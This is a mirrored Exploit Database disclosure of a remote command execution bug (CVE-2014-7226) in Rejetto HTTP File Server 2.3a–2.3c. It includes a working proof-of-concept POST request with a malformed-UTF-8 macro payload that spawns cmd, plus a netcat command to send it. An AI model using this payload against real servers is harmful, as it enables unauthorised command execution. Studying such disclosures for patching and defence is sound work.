Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c – Remote Command Execution

• Exploit Database
• 17 阅读

• 作者： Daniele Linguaglossa
  日期： 2014-10-02
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34852/

• ==========================================================
  HTTP File Server 2.3a - 2.3b - 2.3c Remote Command Execution
  
  # Author : Daniele Linguaglossa
  # Date: 30/09/2014
  # Remote: Yes
  # Vendor Homepage: http://rejetto.com/
  # Software Link: http://downloads.sourceforge.net/hfs/hfs2.3c.src.zip
  # CVE: CVE-2014-7226
  # Vendor Hompage: http://www.rejetto.com
  # Tested on: Windows 8
  # Version: 2.3a - 2.3b - 2.3c
  
  The latest HTTP File Server (2.3c and maybe prior too) was found to be
  vulnerable to a remote command execution in the file comment features ,
  because the application did not properly validate uft-8 broken byte
  representation, in fact during parsing program won't notice that there are
  multiple invalid representation and when they are printed into the page
  will get replaced with one of these characters " { . | } "causing a macro
  to be executed.
  ==========================================================
  PoC
  ==========================================================
  bug-utf8.txt
  ==========================================================
  POST /upload/?mode=section&id=ajax.comment HTTP/1.1
  Connection: Close
  Content-Type:application/x-www-form-urlencoded
  
  text=%c1%bb%c0%aeexec%c1%bccmd%c0%ae%c1%bd&files=x
  ==========================================================
  
  Copy the following on a file called bug-utf8.txt , then open hfs and add a
  folder called upload,
  it will ask if anyone should have upload permission click yes then with
  netcat do the following:
  
  nc localhost 8080 < bug-utf8.txt
  
  if everything was fine you should see a new command prompt being executed
  from hfs.
  
  ==========================================================
  EOF